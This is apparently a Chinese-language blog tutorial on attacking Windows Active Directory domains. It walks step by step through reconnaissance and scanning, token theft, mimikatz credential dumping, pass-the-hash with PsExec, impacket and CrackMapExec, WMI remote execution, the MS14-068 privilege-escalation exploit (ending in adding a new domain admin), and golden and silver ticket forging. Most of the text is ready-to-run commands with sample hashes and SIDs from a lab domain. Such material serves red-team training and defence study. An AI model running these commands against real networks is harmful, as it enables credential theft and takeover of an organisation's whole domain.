内网域渗透

内网渗透

域渗透思路

​ 一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电脑,并且在安装的时候设置惯用、甚至统一的密码。

​ 因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:

​ 某个域用户需要使用viso软件进行绘图操作,于是联系网络管理员进行安装,网络管理员采用域管理员身份登录了域成员主机,并帮助其安装了viso软件,于是这个有计算机基础的员工,切换身份登录到了本地计算机的管理员,后执行mimikatz,从内存当中抓取了域管理员的密码,便成功的控制了整个域。

​ 因此,域渗透的思路就是:通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。

域信息收集命令

query user || qwinsta	#查看当前在线用户

net user	#查看本机用户

net user /domain	#查看域用户

net view & net group "domain computers" /domain	#查看当前域计算机列表 第二个查的更多

net view /domain	#查看有几个域

net view \\dc	#查看 dc 域内共享文件

net group /domain	#查看域里面的组

net group "domain admins" /domain	#查看域管理员

net localgroup administrators /domain	#这个也是查域管,是升级为域控时本地账户也成为域管

net group "domain controllers" /domain	#查看域控制器

net time /domain	#查看时间并显示域控

net config workstation	#当前登录的当前工作环境

net share		#查看共享目录
net use \\ip地址或电脑名 "登录密码" /user:登录用户名 #相当于登录域内主机,可访问共享资源
start\\ip地址或电脑名               #直接打开共享电脑的文件 	

tasklist /svc 	#显示每个进程中主持的服务。

tasklist /S ip /U domain\username /P /V 	#查看远程计算机 tasklist

net localgroup administrators && whoami 	#查看当前是不是属于管理组

netstat -ano	#查看端口列表

nltest /dclist:only.net #查看域控

whoami /all 	#显示当前用户名、所属的组、以及安全等级、当前用户访问令牌的标识符(SID)、声明和权限。

net sessoin 	#列出或断开本地计算机和连接的客户端的会话

cmdkey /l 		#查看保存登陆凭证

echo %logonserver% 	#查看登陆域

setspn –l administrator spn 	#spn记录

set 	#环境变量

dsquery server	#查找目录中的 AD DC/LDS 实例
dsquery user	#查找目录中的用户
dsquery computer	#查询目录中的计算机

dir /s *.exe 	#查找指定目录下及子目录下隐藏文件

arp -a		#查看通讯

域内信息收集

查找域服务器

net time 查询时间,命令会去请求域服务器的时间

net config workstation 查看当前工作环境

nltest /dclist:only.net 对域控进行查询

ping/nslookup 查找域控

ping dc.only.net

nslookup dc.only.net

主机探测发现

在域内进行横行渗透时,首先要收集主机的端口和 ip 信息

net view /domain 查看域内的主机信息

查询域内的主机信息 发生系统错误 6118 出现这种错误时 Computer Browser服务被禁用了在服务中启用即可

arp -a 查询通信

nbtscan 发现主机

​ 这是一款用于扫描Windows网络上NetBIOS名字信息的程序。该程序对给出范围内的每一个地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,NBTScan列出它的IP地址、NetBIOS计算机名、登录用户名和MAC地址。但只能用于局域网,NBTSCAN可以取到PC的真实IP地址和MAC地址,如果有”ARP攻击”在做怪,可以找到装有ARP攻击的PC的IP/和MAC地址。

nbtscan.exe -r 192.168.10.0/24

ICMP协议快速发现主机

for /l %i in (1,1,255) do @ping 192.168.10.%i -w 1 -n 1|find /i "ttl="

powershell扫描IP地址

脚本地址:https://raw.githubusercontent.com/dwj7738/My-Powershell-Repository/master/Scripts/Invoke-TSPingSweep.ps1

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep.ps1; Invoke-TSPingSweep -StartAddress 192.168.10.0 -EndAddress 192.168.10.254"

powershell扫描端口

  • 针对单个IP多个端口扫描:
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.10.8",$_)) "Port $_ is open!"} 2>$null

  • 针对IP段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "Detailed" 192.168.10.$ip}

  • 针对IP段&多个端口的扫描:
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.10.$a",$_)) "Port $_ is open!"} 2>$null}

MSF内网主机探测

使用msf获取到会话,进行内网渗透时,可以通过msf自带的扫描模块进行快速扫描

  • 主机存活探测
auxiliary/scanner/discovery/arp_sweep ARP 扫描
auxiliary/scanner/discovery/udp_sweep UDP 扫描
auxiliary/scanner/netbios/nbname NETBIOS 扫描
auxiliary/scanner/snmp/snmp_enum SNMP 扫描
auxiliary/scanner/smb/smb_version SMB 扫描
  • 端口扫描
auxiliary/scanner/portscan/ack TCP ACK 端口扫描
auxiliary/scanner/portscan/ftpbounce FTP bounce 端口扫描
auxiliary/scanner/portscan/syn SYN 端口扫描
auxiliary/scanner/portscan/tcp TCP 端口扫描
auxiliary/scanner/portscan/xmas TCP XMas 端口扫描

Nmap

​ Nmap是一个端口扫描器,可以用于主机发现、端口扫描、版本探测、OS探测等。

常用场景:建立socks代理,proxychains+Nmap 扫描内网

  • 支持多种扫描模式
ARP 扫描: nmap -PR -sn 192.168.10.0/24 
ICMP 扫描: nmap ‐sP ‐PI 192.168.10.0/24 ‐T4 
ICMP 扫描: nmap ‐sn ‐PE ‐T4 192.168.10.0/24 
SNMP 扫描: nmap -sU --script snmp-brute 192.168.10.0/24 -T4 
UDP 扫描: nmap -sU -T5 -sV --max-retries 1 192.168.10.7 -p 500 
NetBIOS 扫描: nmap --script nbstat.nse -sU -p137 192.168.10.0/24 -T4 
SMB 扫描: nmap ‐sU ‐sS ‐‐script smb‐enum‐shares.nse ‐p 445 192.168.10.0/24
  • 快速扫描所有端口
nmap -sS -p 1-65535 -v 192.168.10.8

令牌(Token)窃取

​ 令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的,它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌持续存在系统中,除非系统重新启动。

​ 令牌最大的特点就是随机性,不可预测,一般黑客或软件无法猜测出来

令牌分类:

  • 访问令牌(Access Token):表示访问控制操作主体的系统对象
  • 会话令牌(Session Token):是交互会话中唯一的身份标识符
  • 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身 份校验的物理设备,例如 U 盾

伪造令牌攻击的核心是 Kerberos 协议

Kerberos原理:Explain like I’m 5: Kerberos – roguelynn

注意:令牌窃取并非提权!

访问令牌(AccessToken)的窃取与利用

Windows 的 AccessToken 有两种类型:

  • Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接 登录、远程桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use 访问共享文件夹)。

注: 两种 token 只在系统重启后清除,具有 Delegation token 的用户在注销后, 该 Token 将变成 Impersonation token,依旧有效

访问令牌(AccessToken)的窃取是需要administrator管理员权限的

incognito

下载地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip

  • AccessToken列举,需要administrator权限
incognito.exe list_tokens -u

  • 模拟其他用户的令牌(复制token)
incognito.exe execute -c "完整的 Token 名" cmd.exe


#例如:模拟 system 权限用户(提权至 system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe

#降权至当前用户
incognito.exe execute -c "当前用户 token" cmd.exe

MSF下的incognito模块

use incognito 		#加载incognito
list_tokens -u 		#列出AccessToken
getuid    			#查看当前token

#模拟system用户,getsystem命令即实现了该命令。如果要模拟其他用户,将token名改为其他用户即可
impersonate_token "NT AUTHORITY\SYSTEM" 

steal_token 1252 	#从进程窃取token
getsystem 		#提升至system权限
rev2self 		#返回到之前的AccessToken权限

列出两种令牌:

  • Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程 桌面登录访问)
  • Impresonation Token:模拟令牌,它是非交互的会话。

伪造令牌

impersonate_token client\Administrator #假冒 client\adminstrator 的令牌

impersonate_token only\\administrator #假冒 only\\administrator的令牌

impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌

从进程窃取令牌

除了可以伪造令牌 也可以从进程里窃取令牌

首先使用 ps 命令列出进程 查看进程

用户使用 steal_token pid 窃取令牌就有对应的权限

横向渗透

PTH(Pass-The-Hash)HASH传递

​ 哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式。

原理

  1. 在 Windows 系统中,通常会使用 NTLM 身份认证

  2. NTLM 认证不使用明文口令,而是使用口令加密后的 Hash 值,Hash 值由系 统 API 生成(例如 LsaLogonUser)

  3. Hash 分为 LM Hash 和 NT Hash,如果密码长度大于 15,那么无法生成 LM Hash。从 Windows Vista 和 Windows Server 2008 开始,微软默认禁用 LM Hash

  4. 如果攻击者获得了 Hash,就能够在身份验证的时候模拟该用户(即跳过调用 API 生成 Hash 的过程)

这类攻击适用于

  • 域/工作组环境

  • 可以获得 Hash,但是条件不允许对 Hash 爆破

  • 内网中存在和当前机器相同的密码

​ 微软也对 PTH 打过补丁,然而在测试中发现,在打了补丁后,常规的 Pass The Hash 已经无法成功,唯独默认的 Administrator(SID 500)账号例外,利用这个账号仍可以进行 Pass The Hash 远程 ipc 连接。 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功

通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Windows Server 2012 R2及之后版本的操作系统中,默认不会在内存中保存明文密码,Mimikatz 就读不到密码明文,因此此时往往会使用工具将哈希值传递到其他计算机中进行登录验证。

mimikatz pth(域环境)

privilege::debug  # 查看是否有debug权限
token::elevate    # 提升到最高权限
sekurlsa::logonpasswords full  #抓取所有的密码,如果密码复杂则只会抓到hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

​ 重点在于使用哈希传递的时候需要用管理员权限运行mimikatz,我们已经获取了域管理员组内用户的NTLM哈希值。

administrator
91ff0fb948167eb4d080b5330686c02f

我们可以使用域内的一台主机用mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。

# 运行命令弹出CMD
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:only.net /ntlm:91ff0fb948167eb4d080b5330686c02f"

# 与域控建立IPC
net use \\192.168.10.8

# 查看目标机器的C盘文件
dir \\192.168.10.8\c$

成功,此时会自动弹出一个新的cmd,这个cmd是域内主机的cmd,不是域控的cmd。

这时访问远程主机或服务,就不用提供明文密码了

PsExec

PsTools工具包:https://download.sysinternals.com/files/PSTools.zip

​ PsExec是Windows官方自带的,不会存在查杀问题,属于 pstools 利用 PsExec 可 以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个PsExec服务,并在本地磁盘中生成一个名为 PSEXESVC的二进制文件,然后通过PsExec服务运行命令,运行结束后删除服务,但是会产生日志文件。

SMB可以直接基于TCP协议或者NetBIOS over TCP,SMB的认证可以基于SMB,也可以基于kerberos,这两种认证方式,前者本质上使用了hash,后者本质上使用了ticket,导致了SMB的PTH和PTT攻击存在的基础,前提是目标开启了445端口,开放445端口就相当于开放了smb协议

  • 建立 ipc$连接
net use \\192.168.10.8\ipc$ Qwer1234 /user:administrator
或
net use \\192.168.10.8 /u:only.net\administrator Qwer1234

在已经建立 ipc$ 的情况下,执行以下命令就可以获得 system 权限

  • 使用明文密码
PsExec64.exe -accepteula  \\192.168.10.8 -u only\administrator -p Qwer1234 -s cmd

-accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
-u 域\用户名
-p 密码
-s 以 System 权限运行远程进程,如果不用这个参数,就会获得一个对应用户权限的 shell

#直接执行命令
PsExec64.exe -accepteula  \\192.168.10.8 -u Administrator -p Qwer1234 -s cmd /c "whoami"

  • 使用hash登录
PsExec64.exe -hashes 91ff0fb948167eb4d080b5330686c02f .\administrator@192.168.10.8

如果出现上面的错误,可以使用impacket这个工具包下的psexec进行利用

python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f ./Administrator@192.168.10.8

#aad3b435b51404eeaad3b435b51404ee是LM-HASH的值,默认为空

  • 使用PsExec时注意
  1. 需要远程系统开启 admin$ 共享(默认是开启的)

  2. 因为 PsExec 连接的原理是基于 IPC 共享,因此目标需要开放 445 端口

  3. 在使用 IPC$ 连接目标系统后,不需要输入账户和密码。

  4. 在使用 PsExec 执行远程命令时,会在目标系统中创建一个 psexec 的服务, 命令执行完后,psexec 服务将被自动删除。由于创建或删除服务时会产生 大量的日志,因此蓝队在溯源时可以通过日志反推攻击流程。

  5. 使用 PsExec 可以直接获得 System 权限的交互式 Shell 的前提目标是 administrator 权限的 shell

  6. 在域环境测试时发现,非域用户无法利用内存中的票据使用 PsExec 功能, 只能依靠账号和密码进行传递。

使用MSF hash模块

use exploit/windows/smb/psexec

#默认的payload有问题,无法加载自带的模块
set payload windows/shell/reverse_tcp

set SMBUser Administrator
set rhosts 192.168.10.8
set smbpass aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f

CcrackMapExec

​ CrackMapExec(又名CME)是一个后渗透工具,帮助自动评估大型活动目录网络的安全性。CME采用了“自给自足”的概念:滥用内置的Active Directory特性/协议来实现它的功能,并允许它逃避大多数端点保护/id/IPS 解决方案。

虽然CME主要用于进攻目的(例如红队),但蓝队也可以使用CME来评估帐户权限,查找可能的错误配置和模拟攻击场景。

项目地址:https://github.com/byt3bl33d3r/CrackMapExec.git

kali最新稳定版:apt-get install crackmapexec

  • 批量 Pass The Hash
crackmapexec smb 192.168.10.0/24 -u administrator -H 91ff0fb948167eb4d080b5330686c02f

WMI

​ WMI的全名为“Windows Management Instrumentation”。从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。

​ 自从PsExec在内网中被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。

wmic命令

WMI 连接远程主机,并使用目标系统的 cmd.exe 执行命令,将执行结果保存在目标主机 C 盘的 ip.txt 文件中

使用WMIC连接远程主机,需要目标主机开放135和445端口。(135 端⼝是 WMIC 默认的管理端⼝,wimcexec 使⽤445端⼝传回显)

wmic /node:192.168.10.9 /user:administrator /password:Qwer1234 process call create "cmd.exe /c ipconfig > c:\ip.txt"

之后建立IPC$,使用 type读取结果

net use \\192.168.10.9\ipc$ Qwer1234 /user:administrator;type \\192.168.10.9\c$\ip.txt

vmiexec.py

impacket工具包里有 wmiexec.py的脚本,可以用来直接获取shell

python3 wmiexec.py administrator:Qwer1234@192.168.10.8

  • 使用PTH哈希传递获取shell
python wmiexec.py -hashes LMHash:NTHash 域名/用户名@目标IP

python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:91ff0fb948167eb4d080b5330686c02f administrator@192.168.10.8

LMHash 这个部分可以随便填写

vmiexec.vbs

wmiexec.vbs 脚本通过 VBS 调用 WMI 来模拟 PsExec 的功能

wmiexec.vbs 下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.10.9 administrator Qwer1234

cscript wmiexec.vbs /cmd 192.168.10.9 administrator Qwer1234 "ipconfig"

Invoke-Wmicommand

Invoke-WmiCommand.ps1 是 PowerSploit 工具包里的一部分,该脚本是利用 Powershell 调用 WMI 来远程执行命令。

在Powershell中运行以下命令

# 导入 Invoke-WmiCommand.ps1 脚本
Import-Module .\Invoke-WmiCommand.ps1

# 指定目标系统用户名
$User = "only.net\administrator"

# 指定目标系统的密码
$Password = ConvertTo-SecureString -String "Qwer1234" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 指定要执行的命令和目标 IP
$Remote = Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.10.9

# 将执行结果输出到屏幕上
$Remote.PayloadOutput

Invoke-WMIMEthod

Invoke-WMIMethod 是 PowerShell 自带的一个模块,也可以用它来连接远程计算 机执行命令和指定程序。

# 指定目标系统用户名
$User=".\administrator"

# 指定目标系统密码
$Password=ConvertTo-SecureString -String "Qwer1234" -AsPlainText -Force

# 将账号和密码整合起来,以便导入 Credential 中
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password

# 在远程系统中运行命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c ipconfig >c:\ipconfig.txt" -ComputerName "192.168.10.9" -Credential $Cred

WMIC其他命令

  • 使用 wmic 远程开启目标的 RDP
# 适于 Windows xp、server 2003 
wmic /node:192.168.10. /user:administrator /password:Qwer1234 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
# 适于 Windows 7、8、10,server 2008、2012、2016,注意 ServerName 需要改为目标的 hostname
wmic /node:192.168.10.8 /user:administrator /password:Qwer1234 RDTOGGLE WHERE ServerName='dc' call SetAllowTSConnections 1
或者
wmic /node:192.168.10.8 /user:administrator /password:Qwer1234 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

  • 判断RDP是否开启

如果返回 0 表示开启,返回 1 表示关闭。

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v 
  • 远程重启目标
wmic /node:192.168.10.8 /user:administrator /password:Qwer1234 process call create "shutdown.exe -r -f -t 0"

PTT票据传递攻击(Pass The Ticket)

​ 票据传递(Pass The Ticket, PTT),是基于Kerberos认证的一种攻击方式,这里主要记录利用方法,详细的原理网上有很多,不过多赘述。

Kerberos原理可参考:Explain like I’m 5: Kerberos – roguelynn

名词解释

  • KDC: Key Distribution Center,密钥分发中心,负责管理票据、认证票据、分发票据,但是KDC不是一个独立的服务,它由AS和TGS组成。

  • AD: Account Database,存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT。

    (物理方面 KDC和AD 都是一个机子)

  • TGT: Ticket Granting Ticket = 入场券,通过入场券能够获得票据,是一种临时凭证的存在。

  • AS(Authentication Server)= 身份认证服务器,为client生成TGT的服务

  • TGS(Ticket Granting Server)= 票据授权服务器

  • ST/TGS Ticket(Servre Ticket): 服务票据

PAC

​ 这是微软为了访问控制而引进的一个扩展,即特权访问证书。 在Kerberos的认证流程中,如果没有 PAC 的访问控制作用的话,只要用户的身份验证 正确,那么就可以拿到 TGT,有了 TGT,就可以拿到 ST,有了 ST ,就可以访问服 务了。

​ 此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决 "What can I do?" 的问题。

​ 为了解决上面的这个问题,微软引进了 PAC。即 KDC 向客户端 Client 返回 TGT(AS_REP) 时插入了 PAC,PAC 中包含的是用户的 SID、用户所在的组等一些信息。当最后服务端 Server 收到 Client 发来的认证请求(AP_REQ)获取ST后,首先会对Client进行身份验证。通过客户端身份验证后,服务器 Server 会拿着 PAC 去询问 DC 该用户是否有访问权限, DC 拿到 PAC 后进行解密,然后通过 PAC 中的 SID 判断用户的用户组信息、用户权 限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL 进行对比,最后决定是否给用户提供相关的服务。

​ 值得注意的是有些服务并不需要 PAC 验证,该服务会接受 ST 票证中的所有数据,而不与 DC 通信,而银票攻击则也正利用了这个条件。

MS14-068

​ 当我们拿到了一个普通域成员的账号后,想继续对该域进行渗透,拿到域控服务器权限。如果域控服务器存在 MS14_068 漏洞,并且未打补丁,那么我们就可以利用 MS14_068 快速获得域控服务器权限。

下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

漏洞原理

​ 原理便是到了上面提到的 PAC 这个东西,PAC 是用来验证 Client 的访问权限的,它会被放在 TGT 里发送给 Client,然后由 Client 发送给 TGS。但也恰恰是这个 PAC 造成了 MS14-068 这个漏洞。

​ 该漏洞是位于 kdcsvc.dll 域控制器的密钥分发中心(KDC)服务中的 Windows 漏 洞,它允许经过身份验证的用户在其获得的票证 TGT 中插入任意的 PAC 。

这个漏洞的出现原因是因为KDC采用了弱校验和算法,导致客户端有机会伪造高权限PAC加入TGT中。

​ 用户在向 AS申请TGT时,伪造高权限PAC加入TGT中,而在处理该请求时未验证票据的签名,那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS在验证了TGT后,将ST发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。

利用条件

  • 域控没有打MS14-068的补丁(KB3011780)

  • 拿下一台加入域的计算机

  • 有这台域内计算机的域用户密码和Sid

影响范围:Windows Server 2003、Windows Server 2008 and 2008 R2

手动验证 Windows Server 2012利用失败

漏洞过程

MS14-068编号CVE-2014-6324,补丁为3011780,如果自检可在域控制器上使用命令检测。

systeminfo |find "3011780"

假设已获得普通域用户 test 的权限和密码,并登录上一台域内普通主机

默认情况下普通用户没有权限访问 域控 dc。

  • 查看域信息
net config workstation

可知域名为:only.com

  • 查询域控主机
nltest /dsgetdc:only.com

可知域控主机为:dc.only.com

  • 获取域用户 test的 SID
whoami /user
  • 使用ms14-068.exe 生成伪造票据

需要注意的是域内普通用户提权成功后是有时效性的

 ms14-068.exe -u   域用户@域控名  -p 域用户密码 -s 域用户sid -d 域控
 
 ms14-068.exe -u test@only.net -p Qwer1234 -s S-1-5-21-1996699216-944335111-2869993460-1105 -d dc.only.net

没报错即生成票据成功

  • 导入票据
kerberos::list  #查看当前票据
kerberos::purge #清除票据
kerberos::list  #再次查看确认无票据

kerberos::ptc 票据地址  #导入票据

  • 再次访问域控的共享文件,即可成功

  • 添加域管理员用户密码

由于伪造的票据具有时效性,需要尽快建立权限维持

net user admin Qwer1234 /add /domain
net group "Domain Admins" admin /add /domain	

黄金票据(Golden ticket)

在Kerberos认证中,Client成功通过 AS(身份认证服务) 认证后, AS 会向 Client 发送两条消息:

  • 信息一:客户端与票据授予服务(TGS)的会话密钥(Sessions Key)。该信息通过Client的用户密钥加密,除了会话密钥还有TGS的地址、时间戳

  • 信息二:票据授权票据(Ticket Granting Ticket),也就是TGT,TGT 通过 票据授予服务器(TGS) 的密钥也就是krbtgt用户的 NTLM Hash 进行加密的,票据授权票据里包括了:会话密钥(Sessions Key)、用户名、客户端地址、票据授权票据的有效时间以及时间戳。

​ 从这两条消息可以看出,Client与TGS的会话密钥并不保存在KDC中,其中加密TGT的krbtgt用户的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和TGS会话密钥。

​ 伪造出TGT和TGS会话密钥后即 跳过了 AS(身份验证服务)的验证 进入下一步Client与TGS的交互,这就是伪造黄金票据

伪造条件

在利用黄金票据(Golden Ticket)进行 PTP 票据传递时,需要先知道以下信息:

  • 伪造的域管理员用户名
  • 完整的域名
  • 域 SID
  • krbtgt 的 NTLM Hash 或 AES-256 值

​ 其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。

​ 在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。

获取krbtgt的NTLM Hash

登录域管用户,执行whoami可以看到是administrator

以管理员权限运行mimikatz.exe,通过dcsync,利用目录复制服务(DRS)从NTDS.DIT文件中检索密码哈希值

#查看域only.net内指定用户krbtgt的详细信息,包括NTLM哈希等
mimikatz.exe "lsadump::dcsync /domain:only.net /user:krbtgt" "exit" > hash.txt

#获取所有域用户
mimikatz.exe "lsadump::dcsync /domain:only.net /all /csv" "exit" > hash.txt

得到krbtgt的NTLM Hash为:

9df19b467ce5c093b5d57b02abba9c04

获取基本信息

  • 获取域SID
wmic useraccount get name,sid

将用户SID去掉 末尾-后的值即域的SID

S-1-5-21-1996699216-944335111-2869993460

制作黄金票据

  • 清空票据
kerberos::purge
  • 生成票据

利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:

mimikatz.exe "kerberos::golden /admin:system /domain:only.net /sid:S-1-5-21-1996699216-944335111-2869993460 /krbtgt:9df19b467ce5c093b5d57b02abba9c04 /ticket:ticket.kirbi" exit

/admin:伪造的用户名
/domain:域名称
/sid:SID 值,注意是去掉末尾 '-' 后面的值
/krbtgt:krbtgt 的 HASH 值
/ticket:生成的票据名称 //不是写入内存中的命令

使用黄金票据

登录域内普通用户,通过mimikatz将ticket.kirbi导入内存中

  • 导入票据前的权限
  • 导入票据
mimikatz.exe "kerberos::purge" "kerberos::ptt C:\Users\test\desktop\ticket.kirbi" "exit"

注入内存后可以看到访问 域控 dc成功

白银票据(Silver Ticket)

​ 黄金票据是伪造票据授予票据(TGT),而白银票据是伪造的服务票据(ST)

在Kerberos 认证的第三阶段,Client 带着ST 和身份验证器消息(Authenticator) 向 某个服务进行请求

Server接收到Client的请求之后,通过自己的 密钥解密ST,从而获取 Session Key。通过Session Key解密

身份验证器消息(Authenticator),进而成功与Client互相验证对方的身份。之后Client就可以访问该服务

所以我们只需要知道某个服务账户的 Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的银票只对访问部分服务有权限。

白银票据与黄金票据的区别:

  1. 白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志

  2. 白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,因此白银票据更加隐蔽,但白银票据的权限就远不如黄金票据的权限了

利用条件

需要知道以下信息:

  • 域名
  • 域的SID值
  • 目标服务器的 FQDN 即完整的域名
  • 可利用的服务
  • 服务账户的 NTLM 哈希
  • 伪造的用户名即任意用户名

伪造 CIFS服务

​ CIFS 服务常用于 Windows 主机之间的文件共享,由于计算机本身托管此服务,因此创建白银票据所需的密码数据是关联的计算机帐户的密码哈希值。当计算机加入Active Directory时,会创建一个新的计算机帐户对象并将其添加到计算机中。密码和相关的散列哈希存储在拥有该帐户的计算机上,并且将NTLM密码散列存储在域的域控制器上的Active Directory数据库中。如果攻击者可以获得对计算机的管理权限或者能够以本地系统的身份运行代码,则攻击者可以使用Mimikatz从系统中转储AD计算机帐户密码哈希

  • 获取域控服务账号的NTLM Hash

​ 管理员权限运行 mimikatz

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

服务账号的 NTLM Hash(Primary Username:DC$) 是带$的hash,不是域控管理员的

a7a1bf6a305d814fa49c2e3520e2c059

  • 获取域的SID值

同一域下所有用户SID相同

  • 清空本地票据缓存
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据

或命令行执行

klist
klist purge
  • 伪造白银票据并导入
kerberos::golden /domain:域名 /sid:SID /target:域全称 /service:要访问的服务  /rc4:NTLM  /user:username /ptt

1. /domain:域名
2. /sid:SID值
3. /target: 域控制器全称
4. /service: 需要指定相关的服务名,此处为cifs
5. /rc4: 域控的计算机账户ntlm hash
6. /user: 要伪造的用户名,任意填写
7. /ptt - 作为/ ticket的替代品,使用它来立即将伪造的票据插入到内存中以供使用。



mimikatz.exe "kerberos::golden /domain:only.com /sid:S-1-5-21-4120419142-1040489911-488431493 /target:dc.only.com /rc4:a7a1bf6a305d814fa49c2e3520e2c059 /service:cifs /user:sing1e /ptt" exit

  • 访问域控

成功访问到域控共享目录,远程登陆,执行命令

PsExec64.exe -accepteula  \\dc.only.com  -s cmd /c "whoami"

白银票据的服务列表

服务名称                              同时需要的服务
WMI                                  HOST、RPCSS
PowerShell Remoting                  HOST、HTTP
WinRM                                HOST、HTTP
Scheduled Tasks                      HOST
Windows File Share                   CIFS
LDAP                                 LDAP
Windows Remote Server                RPCSS、LDAP、CIFS
posted @ 2022-05-01 16:30  空于野  阅读(1536)  评论(0编辑  收藏  举报